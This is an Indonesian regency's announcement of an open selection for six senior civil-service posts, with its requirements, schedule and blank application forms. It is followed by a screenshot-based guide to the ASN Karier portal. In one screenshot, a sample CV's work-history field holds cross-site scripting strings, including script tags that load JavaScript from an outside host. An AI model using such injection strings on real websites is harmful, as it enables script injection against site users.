



**PANITIA SELEKSI PENGISIAN
JABATAN PIMPINAN TINGGI PRATAMA
PEMERINTAH KABUPATEN BATU BARA**

Sekretariat Pansel : Kantor BKPSDM, Jln. Imam Bonjol Kelurahan Labuhan Ruku Kecamatan Talawi

P E N G U M U M A N

Nomor : 02/PANSEL/XII/2025

TENTANG

**SELEKSI TERBUKA PENGISIAN JABATAN PIMPINAN TINGGI PRATAMA
DI LINGKUNGAN PEMERINTAH KABUPATEN BATU BARA**

I. DASAR HUKUM :

- a. Undang-Undang Nomor 20 Tahun 2023 tentang Aparatur Sipil Negara;
- b. Peraturan Pemerintah Nomor 17 Tahun 2020 tentang Perubahan Atas Peraturan Pemerintah Nomor 11 Tahun 2017 tentang Manajemen Pegawai Negeri Sipil;
- c. Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 15 Tahun 2019 tentang Pengisian Jabatan Pimpinan Tinggi Pratama Secara Terbuka dan Kompetitif di lingkungan Instansi Pemerintah;

II. KETENTUAN UMUM :

Seleksi ini dapat diikuti seluruh Pegawai Negeri Sipil di Lingkungan Pemerintah Provinsi/Kabupaten/Kota se-Sumatera Utara yang memenuhi persyaratan, dengan Jabatan Pimpinan Tinggi Pratama yang lowong sebanyak 6 (enam) jabatan, yaitu :

No	Nama Jabatan	Eselon
1.	Sekretaris DPRD	II B
2.	Kepala Dinas Pendidikan	II B
3.	Kepala Dinas Perumahan, Kawasan Permukiman dan Lingkungan Hidup	II B
4.	Kepala Dinas Pemuda, Olahraga, Kebudayaan dan Pariwisata	II B
5.	Kepala Dinas Sosial, Pemberdayaan Perempuan dan Perlindungan Anak	II B
6.	Kepala Badan Pendapatan Daerah	II B

III. PERSYARATAN UMUM :

1. Berstatus sebagai Pegawai Negeri Sipil;
2. Berusia paling tinggi 56 (lima puluh enam) tahun 0 (nol) hari pada saat pelantikan;
3. Minimal memiliki Pangkat/Golongan Ruang Pembina (IV/a);
4. Minimal memiliki kualifikasi pendidikan Strata (S.1) atau Diploma IV (D-IV);
5. Sedang atau pernah menduduki Jabatan Administrator atau Jabatan Fungsional Jenjang Ahli Madya paling singkat 2 (dua) tahun;
6. Peserta yang berasal dari Pemerintah Kabupaten Batu Bara wajib mendapatkan persetujuan/rekomendasi dari Bupati Batu Bara melalui Sekretaris Daerah Kab. Batu Bara untuk yang sedang atau pernah menduduki Jabatan Administrator atau Jabatan Fungsional Jenjang Ahli Madya;
7. Peserta yang berasal dari luar instansi Pemerintah Kab. Batu Bara wajib mendapatkan persetujuan/rekomendasi dari Gubernur/Walikota/Bupati instansi asal;
8. Pejabat Pimpinan Tinggi Pratama Kab. Batu Bara dapat mendaftarkan diri mengikuti seleksi dengan syarat wajib mendapatkan surat persetujuan/rekomendasi dari Bupati Batu Bara;
9. Tidak sedang menjalani hukuman disiplin tingkat sedang/berat dan atau tidak dalam status tersangka/terdakwa/terpidana oleh aparat penegak hukum yang diketahui oleh atasan langsung;
10. Memiliki Sertifikat Lulus Pelatihan Kepemimpinan Administrator/Diklatpim Tk.III dan Sertifikat Diklat Teknis berkaitan dengan jabatan yang dilamar (jika ada);
11. Memiliki Sertifikat Lulus Uji Kompetensi Kenaikan Jenjang/Pengangkatan Jabatan Fungsional Ahli Madya untuk pelamar dari Jabatan Fungsional Ahli Madya;
12. Semua unsur Penilaian Prestasi Kerja Pegawai dalam 2 (dua) tahun terakhir paling kurang bernilai BAIK, tahun 2023 dan tahun 2024;
13. Memiliki Kompetensi Teknis, Kompetensi Manajerial dan Kompetensi Sosial Kultural;
14. Memiliki rekam jejak jabatan, integritas dan moralitas yang baik;
15. Sehat Jasmani, Rohani dan Pemeriksaan Narkotika yang dibuktikan dengan surat keterangan Dokter Rumah Sakit Pemerintah (bukan puskesmas);
16. Tidak ada temuan kerugian negara dari BPK/BPKP/Inspektorat Provinsi/Kabupaten/Kota yang diterbitkan oleh Inspektorat asal;
17. Telah menyampaikan Laporan Harta Kekayaan Pejabat Negara (LHKPN)/Laporan Harta Kekayaan Aparatur Sipil Negara (LHKASN); dan
18. Telah menyampaikan Laporan Pajak Tahunan Pribadi Tahun 2024.

IV. TATA CARA PENDAFTARAN :

- a. Pengumuman dan informasi, serta format dokumen persyaratan pendaftaran seleksi terbuka dapat diunduh melalui website. <https://batubarakab.go.id> dan <https://asnkarier.bkn.go.id/>
- b. Pendaftaran dilakukan secara online melalui <https://asnkarier.bkn.go.id/> dengan login menggunakan akun MyASN BKN masing-masing pelamar, serta mengunggah dokumen, sebagai berikut :
 1. Scan surat lamaran bermaterai 10000; (Formulir I)
 2. Scan Kartu Tanda Penduduk;
 3. Scan SK Pangkat/ Golongan Ruang terakhir;
 4. Scan SK Jabatan Administrator/ SK Jabatan Fungsional/ SK Jabatan Pimpinan Tinggi Pratama;
 5. Scan Ijazah terakhir;

6. Scan surat persetujuan/rekomendasi dari Sekretaris Daerah Kab. Batu Bara untuk yang sedang atau pernah menduduki Jabatan Administrator atau Jabatan Fungsional Jenjang Ahli Madya (Formulir II);
7. Scan surat persetujuan/rekomendasi dari Gubernur/Walikota/Bupati instansi asal bagi peserta dari luar instansi Pemerintah Kab. Batu Bara; (Formulir III)
8. Scan Sertifikat Lulus Pelatihan Kepemimpinan Administrator/Diklatpim Tk.III, Sertifikat Diklat Teknis yang berkaitan dengan jabatan dilamar (jika ada);
9. Scan Sertifikat Lulus Uji Kompetensi Kenaikan Jenjang/ Pengangkatan Jabatan Fungsional Ahli Madya untuk pelamar dari Jabatan Fungsional Ahli Madya;
10. Scan Penilaian Prestasi Kerja Pegawai 2 (dua) tahun terakhir, tahun 2023 dan tahun 2024;
11. Scan Pakta Integritas bermaterai 10000; (Formulir IV)
12. Scan Daftar Riwayat Hidup Lengkap Pegawai Negeri Sipil; (Formulir V)
13. Scan Surat pernyataan tidak sedang menjalani hukuman disiplin tingkat sedang/ berat dan tidak dalam status tersangka/ terdakwa/ terpidana yang diketahui oleh atasan langsung (Formulir VI);
14. Scan Surat Keterangan Bebas Temuan Kerugian Negara dari Inspektorat asal;
15. Scan Surat Keterangan Sehat Jasmani, Rohani dan Surat Keterangan Pemeriksaan Narkotika dari Rumah Sakit Umum Pemerintah (bukan Puskesmas);
16. Scan Tanda bukti Laporan Harta Kekayaan Penyelenggara Negara (LHKPN)/ Laporan Harta Kekayaan Aparatur Sipil Negara (LHKASN);
17. Scan Tanda bukti penyerahan Surat Pemberitahuan Tahunan (SPT) Pajak tahun 2024;
18. Scan Pasfoto terbaru ukuran 4 x 6 cm, menggunakan pakaian dinas harian khaki dengan latar belakang warna biru.

V. TAHAPAN SELEKSI :

Tahapan Seleksi Pengisian Jabatan Pimpinan Tinggi Pratama di Lingkungan Pemerintah Kabupaten Batu Bara, sebagai berikut :

1. Pelamaran melalui <https://asnkarier.bkn.go.id/>
2. Seleksi Administrasi;
3. Penelusuran Rekam Jejak;
4. Seleksi Kompetensi Manajerial dan Kompetensi Sosial Kultural : metode penilaian melalui *assessment test*;
5. Seleksi Kompetensi Bidang : metode penilaian melalui penulisan makalah; dan
6. Wawancara akhir.

VI. WAKTU KEGIATAN :

NO	KEGIATAN	WAKTU	KETERANGAN
1.	Pengumuman	07 Desember s.d 21 Desember 2025	Diumumkan : https://batubararakab.go.id https://asnkarier.bkn.go.id/
2.	Pelamaran dan Penyampaian Dokumen	08 Desember s.d 22 Desember 2025	- https://asnkarier.bkn.go.id/ - Sekretariat Pansel

3.	Seleksi Administrasi	08 Desember s.d 22 Desember 2025	Panitia Seleksi dan Sekretariat Pansel
4.	Pengumuman Hasil Seleksi Administrasi	22 Desember 2025	Diumumkan : https://batubarakab.go.id https://asnkarier.bkn.go.id
5.	Assesment Test	23 Desember s.d 24 Desember 2025	Pusat Asesmen Kompetensi ASN
6.	Pengumuman Assesment Test	25 Desember 2025	Diumumkan : https://batubarakab.go.id
7.	Penilaian Makalah, Wawancara dan Rekam Jejak	27 Desember s.d 28 Desember 2025	Panitia Seleksi
8.	Pengumuman Hasil Akhir Seleksi	29 Desember 2025	Diumumkan : https://batubarakab.go.id https://asnkarier.bkn.go.id

VII. KETENTUAN LAIN :

1. Calon Peserta hanya dapat melamar maksimal 2 (dua) jabatan;
2. Penyerahan berkas pendaftaran disampaikan ke Sekretariat Pansel sebanyak 2 (dua) rangkap.
3. Sekretariat Pansel hanya menerima berkas lengkap sesuai dengan persyaratan yang ditentukan.
4. Peserta Seleksi tidak dikenakan biaya atau pungutan dalam bentuk apapun.
5. Jadwal pelaksanaan seleksi dapat berubah sewaktu-waktu dan akan diumumkan melalui website: <https://batubarakab.go.id>
6. Peserta harus mengikuti setiap tahapan seleksi pada tempat dan waktu yang telah ditentukan oleh Panitia Seleksi. Peserta yang tidak mengikuti tahapan seleksi, dianggap GUGUR dan tidak dapat mengikuti tahapan seleksi berikutnya.
7. Panitia Seleksi dapat melakukan pembatalan terhadap hasil seleksi apabila selama proses seleksi, peserta :
 - a. menyampaikan data dan informasi tidak benar;
 - b. sedang menjalani hukuman disiplin tingkat sedang/ berat;
 - c. ditetapkan status hukum sebagai tersangka/terdakwa/ terpidana oleh aparat penegak hukum.
8. Keputusan Panitia Seleksi bersifat final dan tidak dapat diganggu gugat

Sekretariat Panitia Seleksi :

BADAN KEPEGAWAIAN DAN PENGEMBANGAN SUMBER DAYA MANUSIA,
Jalan Imam Bonjol Kel. Labuhan Ruku Kec. Talawi Kab. Batu Bara



Formulir : I

Perihal : Permohonan untuk mengikuti Seleksi Jabatan Pimpinan Tinggi Pratama Kab. Batu Bara

Lima Puluh,

Kepada Yth.
Ketua Panitia Seleksi Pengisian Jabatan Pimpinan Tinggi Pratama Kab. Batu Bara.
di -

Tempat.

Sehubungan dengan Pengumuman Ketua Panitia Seleksi Pengisian Jabatan Pimpinan Tinggi Pratama Kabupaten Batu Bara Nomor : 02/PANSEL/XII/2025 tanggal 6 Desember 2025, saya yang bertanda tangan di bawah ini :

Nama :
NIP :
Pangkat/Gol. Ruang :
Jabatan saat ini :
Unit Kerja :
Alamat :

dengan ini mengajukan diri untuk mengikuti Seleksi Pengisian Jabatan Pimpinan Tinggi Pratama Kab. Batu Bara dan saya bersedia mengikuti seluruh ketentuan yang telah ditetapkan Panitia Seleksi, adapun jabatan yang dilamar :

- 1.
- 2.

Sebagai kelengkapan pendaftaran, terlampir saya sampaikan seluruh dokumen persyaratan yang telah ditentukan.

Demikian permohonan ini saya sampaikan, atas perhatiannya diucapkan terima kasih.

PELAMAR,

MATERAI
10000

NIP.



**PEMERINTAH KABUPATEN BATU BARA
SEKRETARIAT DAERAH**

Jalan Lintas Sumatera KM. 119, Lima Puluh, Batu Bara, Sumatera Utara 21255,
Telepon (0622) 697703, Faksimile (0622) 96782,
Laman batubarakab.go.id

REKOMENDASI

Nomor :

Sehubungan dengan Pengumuman Ketua Panitia Seleksi Pengisian Jabatan Pimpinan Tinggi Pratama Pemerintah Kabupaten Batu Bara Nomor : 2/PANSEL/XII/2025 tanggal 6 Desember 2025, saya yang bertanda tangan dibawah ini :

Nama : Drs. Bambang Hadisuprato, M.M
NIP : 196812071990031004
Jabatan : Plh. Sekretaris Daerah Kab. Batu Bara

dengan ini memberikan Rekomendasi kepada :

Nama :
NIP :
Pangkat/Gol. Ruang :
Jabatan saat ini :
Unit Kerja :

untuk mengikuti Seleksi Pengisian Jabatan Pimpinan Tinggi Pratama Kabupaten Batu Bara, dengan jabatan yang dilamar, yaitu :

- 1.
- 2.

Demikian rekomendasi ini diperbuat untuk dapat dipergunakan sebagaimana mestinya.

Lima Puluh,

Plh. Sekretaris Daerah,

Bambang Hadisuprato

KOP SURAT INSTANSI

REKOMENDASI

Nomor :

Sehubungan dengan Pengumuman Ketua Panitia Seleksi Pengisian Jabatan Pimpinan Tinggi Pratama Pemerintah Kabupaten Batu Bara Nomor : 2/PANSEL/XII/2025 tanggal 6 Desember 2025, saya yang bertanda tangan dibawah ini :

Nama :
NIP :
Jabatan : Gubernur/Bupati/Walikota

dengan ini memberikan Rekomendasi kepada :

Nama :
NIP :
Pangkat/Gol. Ruang :
Jabatan saat ini :
Unit Kerja :

untuk mengikuti Seleksi Pengisian Jabatan Pimpinan Tinggi Pratama Kabupaten Batu Bara, dengan ketentuan sebagai berikut :

1. Setelah mengikuti proses seleksi tetap melaksanakan tugas sebagaimana mestinya.
2. Jika PNS tersebut akan diangkat dalam Jabatan Pimpinan Tinggi Pratama Kab. Batu Bara, maka yang bersangkutan akan diberikan izin mutasi ke Pemerintah Kabupaten Batu Bara.

Demikian rekomendasi ini diperbuat untuk dapat dipergunakan sebagaimana mestinya.

.....,
Gubernur/Bupati/Walikota,

PAKTA INTEGRITAS

Saya yang bertanda tangan di bawah ini :

Nama :
NIP :
Pangkat/Gol. Ruang :
Jabatan saat ini :
Unit Kerja :
Alamat :

Bersedia mengikuti tahapan Seleksi Terbuka Pengisian Jabatan Pimpinan Tinggi Pratama Kabupaten Batu Bara, dengan ketentuan :

1. Saya akan berperan secara pro aktif dalam upaya pencegahan dan pemberantasan korupsi, kolusi dan nepotisme serta tidak melibatkan diri dari perbuatan tercela;
2. Saya tidak memberi pemberian dalam bentuk apapun baik secara langsung maupun tidak langsung sesuai ketentuan yang berlaku;
3. Akan bersikap jujur, objektif dan akuntabel dalam mengikuti seleksi mulai tahap awal sampai dengan tahap akhir;
4. Akan bekerja secara berdisiplin dan berdedikasi dalam memberikan pengabdian terbaik bagi kemajuan Kabupaten Batu Bara;
5. Akan memegang teguh rahasia negara dan rahasia jabatan serta setia dan taat kepada pimpinan dalam menjalankan tugas dan fungsi sebagai Aparatur Sipil Negara yang menjadi abdi masyarakat dan abdi negara.

Apabila saya melanggar hal-hal yang telah saya nyatakan dalam Pakta Integritas ini, saya bersedia dikenakan sanksi sesuai dengan ketentuan peraturan perundang-undangan.

Lima Puluh, Desember 2025

Yang Membuat Pernyataan,

NIP.

DAFTAR RIWAYAT HIDUP

Pas Photo
warna

I. KETERANGAN PERORANGAN :

1	Nomor Induk Kepegawaian (NIK)	
2	Nama	
3	Kabupaten/Kota tempat lahir	
4	Tanggal Lahir	
5	Jenis kelamin	
6	Agama/ Aliran Kepercayaan	
7	Status perkawinan	
8	Email	
9	Nomor <i>Handphone</i>	
8	Alamat	a. Jalan
		b. Kelurahan/Desa
		c. Kecamatan
		d. Kabupaten/Kota
		e. Provinsi
9	Keterangan Badan	a. Tinggi (cm)
		b. Berat badan (kg)
		c. Rambut
		d. Bentuk muka
		e. Warna kulit
		f. Ciri-ciri khas
		g. Cacat tubuh
10	Kegemaran (hobby)	

II. PENDIDIKAN :

1. Pendidikan di Dalam dan di Luar Negeri

No	Tingkat	Nama Sekolah/ Perguruan Tinggi	Jurusan	STTB/Tanda Lulus/Ijazah Tahun	Ket.
1	SD				
2	SMP				
3	SMA				
4	DIPLOMA				
5	S.1				
6	S.2				

2. Kursus/Latihan di Dalam dan di Luar Negeri

No	Nama Kursus/Latihan	Lamanya		Sertifikat Nomor/Tahun	Institusi Penyelenggara
		Tanggal Mulai	Tanggal Selesai		
1					
2					
3					
Dst					

III. RIWAYAT PEKERJAAN :

1. Riwayat Kepangkatan dan Golongan Ruang Penggajian :

No	Pangkat	Gol.Ruang	T.M.T	Gaji Pokok	Dikeluarkan oleh		
					Pejabat	Nomor	Tanggal
1							
2							
3							
dst							

2. Pengalaman Jabatan/ Pekerjaan :

No	Jabatan/ Eselon	Mulai Tahun s.d. Tahun	Gol. Ruang	Dikeluarkan oleh		
				Pejabat	Nomor	Tanggal
1						
2						
3						
dst						

IV. TANDA JASA/PENGHARGAAN :

No	Nama Bintang/Satya Lencana Penghargaan	Tahun Perolehan	Nama Negara/Instansi yang memberikan
1			
2			
3			
Dst			

V. PENGALAMAN KE LUAR NEGERI :

No	Negara	Tujuan Kunjungan	Lamanya	Yang Membayai
1				
2				
3				
Dst				

VI. DAFTAR PENILAIAN PRESTASI KERJA PNS :

No	Tahun	Nilai Rata-Rata	Keterangan
1	2023		
2	2024		

VII. KETERANGAN KELUARGA :

1. Istri / Suami :

No	Nama	Tempat, Tanggal Lahir	Tanggal Menikah	Pekerjaan	Perusahaan/ Institusi

2. Anak :

No	Nama	Jenis Kelamin	Tempat, Tanggal Lahir	Sekolah/ Pekerjaan

Lima Puluh, Desember 2025

Yang Membuat,

NIP.

SURAT PERNYATAAN

Saya yang bertanda tangan di bawah ini :

Nama :
NIP
Pangkat/Gol. Ruang :
Jabatan saat ini :
Unit Kerja :
Alamat :

menyatakan dengan sebenarnya bahwa saya tidak sedang dalam masa menjalani hukuman disiplin tingkat sedang/berat berdasarkan Peraturan Pemerintah Nomor 94 Tahun 2021 atau tidak dalam status tersangka/ terdakwa/ terpidana oleh aparat penegak hukum.

Surat pernyataan ini saya buat dengan keadaan sebenarnya dan jika saya diketahui atau terbukti memberikan pernyataan tidak benar, maka saya bersedia dibatalkan hasil seleksinya dan menerima sanksi sesuai ketentuan yang berlaku.

Lima Puluh, Desember 2025

Mengetahui :
Atasan Langsung

Yang membuat pernyataan,

**STEMPEL
DINAS**

NIP.

NIP.



Tata Cara Penggunaan ASN Karier Bagi Pelamar Pada Seleksi Terbuka JPT



EDIT PROFIL, UNGGAH CV, DAN MENCARI JABATAN LOWONGAN

Q ASN

AHMAD KHAIRUN ARSYAD
0917020523210920
Staf Ahli Perkembangan dan Pengembangan Sistem Informasi Aparatur Negara - Staf Ahli Perkembangan Negara

Diketahui oleh:
Apa yang dilakukan di bawah

Data Lahir

Tanggal Lahir: 01/01/1990 | Gender: Pria | Status: Belum menikah

UIN: 00000000000000000000 | NIK: 00000000000000000000

Pendidikan Terakhir

No	Nama Perguruan Tinggi	Jabatan	Mulai Belajar	Selesai Belajar	Aksi
1	PT. Binaan Pratama	prodi	01/01/2014	01/05/2014	
2	PT. Maju Merdeka	Prodi	01/01/2014	01/05/2014	
3	PT. Binaan Pratama	prodi	01/01/2014	01/05/2014	
4	PT. Binaan Pratama	prodi	01/01/2014	01/05/2014	

Detail

Jabatan: Pendidikan | Status: Aktif | Nama SK: User - TMT: Akhirnya

Dokumen

No dokument available

BKN
Jl. Mayor Nusantara No. 11, RT.001/RW.001, Kel. Kemayoran, Kec. Tambora, Kota Jakarta Barat, Provinsi DKI Jakarta, 11510 | Telp: 021-29999999 | Email: info@bkn.go.id

Perkembangan Informasi Terbaru
Buletin BKN

Informasi

Edit Profil

Pada fitur ini ASN dapat memperbarui profil dan unggah CV. Untuk data yang telah disediakan SIASN ASN dapat mengubahnya melalui SIASN.

Q ASN

PENGABDIAN
Dapat di Bidang Penelitian dan Pengembangan
Kegiatan

Analisa Sumber Daya Manusia Aparatur Ahli Utama
Rp. 1000000

Analisa Sumber Daya Manusia Aparatur Ahli Utama
Rp. 1000000

Q ASN

Detail Lowongan

Pranata Komputer Ahli Madya
Badan Kepegawaian dan Pengembangan Sistem Informasi Aparatur Negara

Kota/Jabatan: 12
Tgl. Daftar: 12 September 2024 - 20 September 2024
Rp. 1000000

Kualifikasi Pendidikan:
S-1 KOMPUTER, S-1 KONSEPTEK INFORMATIKA, S-1 TEKNOLOGI INFORMATIKA

Daftar Pelamar:

No

Perkembangan Informasi Terbaru

BKN
Jl. Mayor Nusantara No. 11, RT.001/RW.001, Kel. Kemayoran, Kec. Tambora, Kota Jakarta Barat, Provinsi DKI Jakarta, 11510 | Telp: 021-29999999 | Email: info@bkn.go.id

Perkembangan Informasi Terbaru

Tanggung Jawab:

- Mengelola jalur administrasi resmi melalui teknologi informasi pengelolaan administrasi dan informasi teknologi informasi berbasis web
- Mengelola jalur pelaporan dan analisis dengan teknologi informasi yang dipadukan metrik satuan dan kinerja teknologi informasi berbasis web
- Mengelola jalur persyaratan kerangka hukum untuk persyaratan manajemen teknologi informasi
- Mengelola jalur persyaratan kerangka hukum untuk persyaratan strategi teknologi informasi

Lowongan

ASN dapat mencari jabatan lowongan dan melamar pada menu ini.



NOTIFIKASI DAN LOG

Notifikasi

ASN akan mendapatkan notifikasi setiap proses tahapan seleksi.

Log Proses Seleksi

Pada halaman Home, ASN dapat memantau seluruh log proses seleksi pada jabatan lowong yang telah dilamar.



MLENGKAPI PERSYARATAN

Setelah Anda Apply segera lengkapi persyaratan **KLIK** melalui **notifikasi** pada halaman **home**, setelah selesai melengkapi persyaratan selanjutnya klik **SIMPAN**.

QASN KARRIER

Daftar Riwayat Hidup
ATIM MUFARRIHAH

Tentang Saya
abc

Pengalaman Kerja

- Agt 2024 - Agt 2024
- Agt 2024 - Agt 2024
- Agt 2023 - Agt 2024
- Agt 2024 - Agt 2024

```
<script type="text/javascript">alert('test');</script>
<script type="text/javascript">alert('test');</script>
'><script src="http://js.rpi/lab550oog"></script>
'><script src="https://js.rpi/abc550oog"></script>
<script type="text/javascript">alert('test');</script>
<script type="text/javascript">alert('test');</script>
```

Riwayat Pendidikan

- 2013 S-1 TEKNIK INFORMATIKA - (0104444444444444) Universitas Islam Negeri Maulana Malik Ibrahim Malang
- 2020 D-III PENDIDIKAN KETERAMPILAN TEKNIK - S-2 (0144444444444444)

Pada fitur ini ASN dapat mempreview data diri terlebih dahulu dan mengunggah dokumen persyaratan, setelah yakin dengan data diri dan dan dokumen persyaratan yang diunggah maka klik **SIMPAN**.

QASN KARRIER

Lihat Daftar Riwayat Hidup

Upload Persyaratan Tambahan

1. SKCK
Lihat Template

Choose File No file chosen

59bcbca32-6e10-40c8-991f-7153956eea0f

Anparatur Negara dan Reformasi Birokrasi Berita Negara

2. Surat Lamaran
Lihat Template

Choose File No file chosen

Dokumen Belum Tersedia!

3. Sertifikat Khusus
Lihat Template

Choose File No file chosen

Dokumen Belum Tersedia!

Saya telah mengecek persyaratan dan menyetujui persyaratan ini.

Simpan **Kembali**